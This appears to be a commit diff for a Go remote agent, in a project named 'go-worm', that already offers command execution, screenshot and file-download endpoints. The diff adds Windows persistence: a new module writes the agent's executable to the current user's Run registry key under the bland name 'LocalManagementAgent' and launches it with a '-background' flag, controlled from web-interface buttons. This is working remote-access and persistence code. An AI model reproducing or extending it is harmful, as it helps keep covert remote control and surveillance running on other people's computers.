Add startup management functionality to the agent. Implement API endpoints for enabling and disabling startup, and update the web interface to reflect the current startup state.

lib/agent/agent.go

@@ -62,6 +62,7 @@ func (a *Agent) Serve() error {
 	mux.HandleFunc("/api/v1/download", a.handleDownload)
 	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
 	mux.HandleFunc("/api/v1/exec", a.handleExec)
+	mux.HandleFunc("/api/v1/startup", a.handleStartup)
 
 	a.server = &http.Server{
 		Addr:              a.addr,

lib/agent/handlers.go

@@ -21,6 +21,7 @@ import (
 	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
 	"tea.chunkbyte.com/kato/go-worm/lib/models"
 	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
+	"tea.chunkbyte.com/kato/go-worm/lib/startup"
 )
 
 func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
@@ -44,6 +45,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
 			"/api/v1/download":   map[string]any{"get": map[string]string{"summary": "Download file"}},
 			"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
 			"/api/v1/exec":       map[string]any{"post": map[string]string{"summary": "Run a command"}},
+			"/api/v1/startup":    map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
 		},
 	})
 }
@@ -58,9 +60,31 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
 		"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
 		"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
 		"agent_version": config.Version, "listen_address": a.addr,
+		"startup_enabled": startup.Enabled(),
 	})
 }
 
+func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
+	switch r.Method {
+	case http.MethodPost:
+		if err := startup.Enable(); err != nil {
+			helpers.Log.Printf("startup enable: %v", err)
+			helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
+			return
+		}
+	case http.MethodDelete:
+		if err := startup.Disable(); err != nil {
+			helpers.Log.Printf("startup disable: %v", err)
+			helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
+			return
+		}
+	default:
+		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
+		return
+	}
+	helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
+}
+
 func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
 	if r.Method != http.MethodGet {
 		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")

lib/agent/web/app.js

@@ -8,6 +8,9 @@
   const shotGallery = document.getElementById("shot-gallery");
   const execOut = document.getElementById("exec-out");
   const execMeta = document.getElementById("exec-meta");
+  const startupState = document.getElementById("startup-state");
+  const startupAdd = document.getElementById("startup-add");
+  const startupRemove = document.getElementById("startup-remove");
 
   let objectUrls = [];
 
@@ -89,7 +92,9 @@
       ["Listen", data.listen_address],
       ["Uptime", `${data.uptime_seconds}s`],
       ["Local IPs", (data.local_ips || []).join(", ") || "—"],
+      ["Startup", data.startup_enabled ? "enabled" : "disabled"],
     ];
+    setStartup(Boolean(data.startup_enabled));
     statusFields.replaceChildren(
       ...fields.flatMap(([label, value]) => {
         const dt = document.createElement("dt");
@@ -180,6 +185,19 @@
     shotGallery.append(figure);
   }
 
+  function setStartup(enabled) {
+    startupState.textContent = enabled ? "Startup: enabled" : "Startup: disabled";
+    startupAdd.disabled = enabled;
+    startupRemove.disabled = !enabled;
+  }
+
+  async function setStartupEnabled(enabled) {
+    const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
+    const data = await res.json();
+    setStartup(Boolean(data.startup_enabled));
+    loadStatus().catch((err) => showError(err.message));
+  }
+
   async function runCommand() {
     const command = document.getElementById("exec-command").value.trim();
     const timeout = Number(document.getElementById("exec-timeout").value);
@@ -207,6 +225,12 @@
   document.getElementById("refresh-status").addEventListener("click", () => {
     Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
   });
+  startupAdd.addEventListener("click", () => {
+    setStartupEnabled(true).catch((err) => showError(err.message));
+  });
+  startupRemove.addEventListener("click", () => {
+    setStartupEnabled(false).catch((err) => showError(err.message));
+  });
   document.getElementById("file-list").addEventListener("click", () => {
     listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
   });

lib/agent/web/index.html

@@ -62,6 +62,7 @@
       border-color: var(--accent);
       color: #fff;
     }
+    button:disabled { opacity: 0.45; cursor: default; }
     .panel {
       display: none;
       background: var(--card);
@@ -142,6 +143,11 @@
         <button id="refresh-status" class="primary" type="button">Refresh</button>
       </div>
       <dl id="status-fields"></dl>
+      <div class="row" style="margin-top:1rem">
+        <span id="startup-state" class="meta">Startup: —</span>
+        <button id="startup-add" type="button">Add to startup</button>
+        <button id="startup-remove" type="button">Remove from startup</button>
+      </div>
     </section>
     <section id="files" class="panel">
       <div class="row">

lib/config/config.go

@@ -14,6 +14,8 @@ const (
 	MaxImageQuality  = 100
 	DefaultExecTO    = 30
 	MaxExecTO        = 120
+	StartupValueName = "LocalManagementAgent"
+	StartupRunKey    = `Software\Microsoft\Windows\CurrentVersion\Run`
 )
 
 func EnvOr(name, fallback string) string {

lib/startup/startup.go

@@ -0,0 +1,62 @@
+package startup
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+
+	"golang.org/x/sys/windows/registry"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func Enabled() bool {
+	k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.QUERY_VALUE)
+	if err != nil {
+		return false
+	}
+	defer k.Close()
+	_, _, err = k.GetStringValue(config.StartupValueName)
+	return err == nil
+}
+
+func Enable() error {
+	command, err := commandLine()
+	if err != nil {
+		return err
+	}
+	k, _, err := registry.CreateKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
+	if err != nil {
+		return err
+	}
+	defer k.Close()
+	return k.SetStringValue(config.StartupValueName, command)
+}
+
+func Disable() error {
+	k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE)
+	if err != nil {
+		if errors.Is(err, registry.ErrNotExist) {
+			return nil
+		}
+		return err
+	}
+	defer k.Close()
+	err = k.DeleteValue(config.StartupValueName)
+	if errors.Is(err, registry.ErrNotExist) {
+		return nil
+	}
+	return err
+}
+
+func commandLine() (string, error) {
+	exe, err := os.Executable()
+	if err != nil {
+		return "", err
+	}
+	exe, err = filepath.Abs(exe)
+	if err != nil {
+		return "", err
+	}
+	return `"` + exe + `" -background`, nil
+}